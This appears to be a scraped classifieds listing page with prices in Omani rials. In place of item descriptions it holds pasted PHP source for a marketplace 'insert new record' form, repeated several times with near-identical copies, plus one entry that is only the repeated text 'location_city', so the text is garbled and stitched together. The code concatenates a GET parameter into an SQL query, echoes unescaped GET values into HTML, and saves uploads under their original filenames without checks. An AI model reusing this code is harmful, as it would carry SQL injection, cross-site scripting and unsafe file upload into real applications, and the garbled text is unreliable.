$row[&#039;images&#039;]); foreach ($images as $image): ?&gt; &lt;img src=&quot;&lt;?php echo htmlspecialchars($image); ?&gt;&quot; alt=&quot;Image&quot; style=&quot;max-width: 100px; margin-right: 5px;&quot;&gt; &lt;?php endforeach; ?&gt; &lt;/td&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;category&#039;]); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php /*echo htmlspecialchars($row[&#039;attributes&#039;]);*/ ?&gt; &lt;?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row[&#039;attributes&#039;], true); ?&gt; &lt;div&gt; &lt;?php $formHtml = $attributes[&#039;form_html&#039;]; $formData = $attributes[&#039;data&#039;]; ?&gt; &lt;div class=&quot;details-container&quot;&gt; &lt;div class=&quot;data-display details-list&quot;&gt; &lt;?php foreach ($formData as $key =&gt; $value): ?&gt; &lt;?php // Find the translation for the current key $translation = &#039;&#039;; //foreach ($_SESSION[&#039;translations&#039;][&#039;category&#039;][&#039;vehicles&#039;][&#039;cars&#039;] as $category) { foreach ($_SESSION[&#039;translations&#039;] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category[&#039;vehicles&#039;][$key])) { $translation = $category[$key]; break; } } ?&gt; &lt;li&gt;&lt;strong&gt;&lt;font color=brown class=_vkey&gt;&lt;?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, &#039;UTF-8&#039;); ?&gt;:&lt;/font&gt;&lt;/strong&gt; &lt;?php echo htmlspecialchars($value, ENT_QUOTES, &#039;UTF-8&#039;); ?&gt;&lt;/li&gt; &lt;?php endforeach; ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;br /&gt;&lt;?php echo $_SESSION[&#039;property19&#039;]; ?&gt;: &lt;?php echo $row[&#039;delivery_available&#039;] ? $_SESSION[&#039;yes&#039;] : $_SESSION[&#039;no&#039;] ; ?&gt;&lt;br /&gt;&lt;?php echo $_SESSION[&#039;property16&#039;]; ?&gt;: &lt;?php echo $row[&#039;negotiable_price&#039;] ? $_SESSION[&#039;yes&#039;] : $_SESSION[&#039;no&#039;]; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;status&#039;]); ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo htmlspecialchars($row[&#039;collector&#039;]); ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php endwhile; ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;script&gt; document.querySelector(&#039;#images&#039;).addEventListener(&#039;change&#039;, function() { const preview = document.querySelector(&#039;#image-preview&#039;); preview.innerHTML = &#039;&#039;; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement(&#039;img&#039;); img.src = e.target.result; img.alt = &#039;Image Preview&#039;; preview.appendChild(img); }; reader.readAsDataURL(file); } }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;

omr0.00
davinci costume

davinci costume

<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Collect and sanitize form data, excluding specific keys foreach ($_POST as $key => $value) { // Exclude specific fields from being added to formData if ($key !== 'form_html' && !in_array($key, ['berid', 'hetef', 'country', 'location_city', 'price', 'el3omla', 'description', 'quantity', 'yearModel', 'delivery_available', 'negotiable_price', 'status', 'collector'])) { $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>

omr145.00
newly set car

newly set car

, 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city', 'location_city', 'location_city' , 'location_city'

omr1450.00
moto sands for yes yuppee

moto sands for yes yuppee

<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Check if 'form_html' is set and is an array if (isset($_POST['form_html']) && is_array($_POST['form_html'])) { foreach ($_POST['form_html'] as $key => $value) { // Sanitize each value $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } else { echo 'Error: form_html is not set or not an array.'; } // Output the sanitized form data foreach ($formData as $key => $value) { echo htmlspecialchars($key) . ': ' . htmlspecialchars($value) . '<br>'; } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> 